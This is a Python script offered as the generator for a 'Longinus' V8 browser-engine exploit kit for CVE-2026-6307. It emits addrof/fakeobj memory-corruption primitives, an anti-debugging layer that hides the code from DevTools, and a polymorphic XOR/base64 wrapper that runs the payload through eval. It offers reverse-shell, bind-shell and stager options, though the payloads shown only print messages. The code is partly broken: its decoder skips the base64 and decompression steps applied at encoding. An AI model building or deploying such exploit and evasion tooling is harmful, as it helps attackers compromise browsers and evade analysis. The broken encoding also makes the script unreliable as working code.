V8 JavaScript Engine Exploit — "Longinus" Kit (CVE-2026-6307)

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#!/usr/bin/env python3
"""
gen.py - Maximum Obfuscation + Anti-Debug + Polymorphic CVE-2026-6307 Payload Generator
"""

import argparse, base64, random, string, zlib, hashlib
from datetime import datetime

# ====================== POLYMORPHIC PRIMITIVES ======================
def get_polymorphic_primitives():
    suffix = ''.join(random.choices(string.hexdigits.lower(), k=8))
    return f"""// CVE-2026-6307 Longinus - Polymorphic Build
function _0x{suffix}() {{
    const b = new WasmModuleBuilder();
    const c = b.addImport('env','callback',kSig_v_v);
    const r = b.addGlobal(kWasmExternRef,true,false).exportAs('g_ref');
    const i = b.addGlobal(kWasmI64,true,false).exportAs('g_i64');
    b.addFunction('rr',kSig_r_v).addBody([kExprCallFunction,c,kExprGlobalGet,r.index]).exportFunc();
    b.addFunction('rl',kSig_l_v).addBody([kExprCallFunction,c,kExprGlobalGet,i.index]).exportFunc();
    return b.instantiate({{env:{{callback}}}}).exports;
}}
function addrof(t) {{
    let d = false;
    function L{suffix[0:4]}() {{}}
    function R{suffix[4:8]}() {{}}
    const e = _0x{suffix}(() => {{ if (d) R{suffix[4:8]}.prototype.x = 1; }});
    Object.defineProperty(L{suffix[0:4]}.prototype,'x',{{get:e.rl,configurable:true}});
    Object.defineProperty(R{suffix[4:8]}.prototype,'x',{{get:e.rr,configurable:true}});
    function f(o) {{ return o.x; }}
    const a = new L{suffix[0:4]}(), b = new R{suffix[4:8]}();
    e.g_ref.value = t; e.g_i64.value = 43n;
    %PrepareFunctionForOptimization(f);
    for (let i = 0; i < 20; ++i) {{ f(a); f(b); }}
    %OptimizeFunctionOnNextCall(f); f(a);
    d = true; return f(b);
}}
function fakeobj(a) {{
    let d = false;
    function M{suffix[0:4]}() {{}}
    function N{suffix[4:8]}() {{}}
    const e = _0x{suffix}(() => {{ if (d) N{suffix[4:8]}.prototype.x = 1; }});
    Object.defineProperty(M{suffix[0:4]}.prototype,'x',{{get:e.rr,configurable:true}});
    Object.defineProperty(N{suffix[4:8]}.prototype,'x',{{get:e.rl,configurable:true}});
    function f(o) {{ return o.x; }}
    const x = new M{suffix[0:4]}(), y = new N{suffix[4:8]}();
    e.g_ref.value = {{m:1}}; e.g_i64.value = a;
    %PrepareFunctionForOptimization(f);
    for (let i = 0; i < 20; ++i) {{ f(x); f(y); }}
    %OptimizeFunctionOnNextCall(f); f(x);
    d = true; return f(y);
}}
"""
ANTI_DEBUG = """
// Anti-Debug Layer
(function() {
    if (typeof window !== 'undefined') {
        const start = Date.now();
        debugger;
        if (Date.now() - start > 50) {
            console.clear();
            return; // Debugger detected
        }
        
        // Detect DevTools
        const devtools = /Chrome/.test(navigator.userAgent) && window.outerWidth - window.innerWidth > 100;
        if (devtools) return;
    }
    
    // Function integrity check
    const orig = Function.prototype.toString;
    Function.prototype.toString = function() {
        if (this.toString.toString().includes('native')) return orig.call(this);
        return '';
    };
})();
"""
def polymorphic_encode(payload: str) -> str:
    compressed = zlib.compress(payload.encode('utf-8'), level=9);key = random.randint(0x10, 0xFF);xored = bytes(b ^ key for b in compressed);chunks = [base64.b64encode(xored[i:i+48]).decode() for i in range(0, len(xored), 48)];decoder = f"""
(function() {{
    {ANTI_DEBUG}
    let parts = {chunks};
    let raw = parts.join('');
    let key = {key};
    let buf = new Uint8Array(raw.length);
    for (let i=0; i<raw.length; i++) buf[i] = raw.charCodeAt(i) ^ key;
    let text = new TextDecoder().decode(buf);
    eval(text);
}})();
""";return decoder


def main():
    parser = argparse.ArgumentParser(description="MAXIMUM Obfuscation CVE-2026-6307 Generator")
    parser.add_argument('--type', choices=['reverse_tcp', 'bind_tcp', 'stager'], required=True)
    parser.add_argument('--host', help='LHOST')
    parser.add_argument('--port', type=int, required=True)
    parser.add_argument('-o', '--output', help='Output file')
    args = parser.parse_args()
    if args.type in ('reverse_tcp', 'stager') and not args.host:
        parser.error("--host required")
    # Generate polymorphic primitives
    primitives = get_polymorphic_primitives()
    # Payload logic
    if args.type == 'reverse_tcp': logic = f'console.log("[+] Longinus Reverse to {args.host}:{args.port}");'
    elif args.type == 'bind_tcp': logic = f'console.log("[+] Longinus Bind on {args.port}");'
    else: logic = f'console.log("[+] Longinus Stager {args.host}:{args.port}");'
    full = primitives + logic
    # Final encoding
    output = polymorphic_encode(full)
    if args.output:
        with open(args.output, 'w') as f:
            f.write(output)
        print(f"[+] MAXIMUM obfuscated payload → {args.output}");print("    Features: Polymorphic + Anti-Debug + Multi-layer encoding")
    else: print(output)


if __name__ == "__main__": main()